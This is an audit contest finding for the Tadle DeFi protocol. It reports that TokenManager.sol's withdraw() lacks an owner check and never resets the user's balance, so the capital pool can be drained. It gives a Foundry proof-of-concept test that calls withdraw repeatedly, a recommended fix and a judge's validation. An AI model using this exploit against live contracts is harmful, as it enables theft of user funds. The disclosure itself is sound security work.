Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Users can withdraw all tokens of the capital pool

youleeyan

Summary

A malicious user can steal all the funds available in the capital pool. This vulnerability is a combination of a few issues. In TokenManager.sol the function withdraw() has the following devtext

* @dev Caller must be owner

However, this is not checked by modifier or within the function implementation. This means that anyone call call the function. Furhermore, the function does not update the userTokenBalanceMap after the withdraw, which is used to check the user claimable amount. This means that as long as users have any balance they can indefinetely withdraw it as it is not restricted and updated with the withdrawn amount.

Vulnerability Details

Use the following test case.

function test_withdraw() public{
uint256 start_balance = mockUSDCToken.balanceOf(user);
deal(address(mockUSDCToken), address(capitalPool), 100000000 * 10 ** 18);
​
vm.startPrank(address(preMarktes));
tokenManager.addTokenBalance(TokenBalanceType.SalesRevenue, address(user), address(mockUSDCToken), 5);
vm.stopPrank();
​
vm.startPrank(address(tokenManager));
capitalPool.approve(address(mockUSDCToken));
vm.stopPrank();
​
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue); // withdraw avilable funds
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue); // withdraw avilable funds again
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue); // withdraw avilable funds again
vm.stopPrank();
​
uint256 end_balance = mockUSDCToken.balanceOf(user);
assertGt(end_balance, start_balance); // user ended with more funds than he had
}

The end balance of the user is greater than the start balance with 10 USDC although his calim amount is 5 USDC.

Impact

Loss of funds.

Tools Used

Manual review.

Recommendations

Use onlyOnwer() modfier in withdraw() and subtract the withdrawn amount for the user before transfering the tokens.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.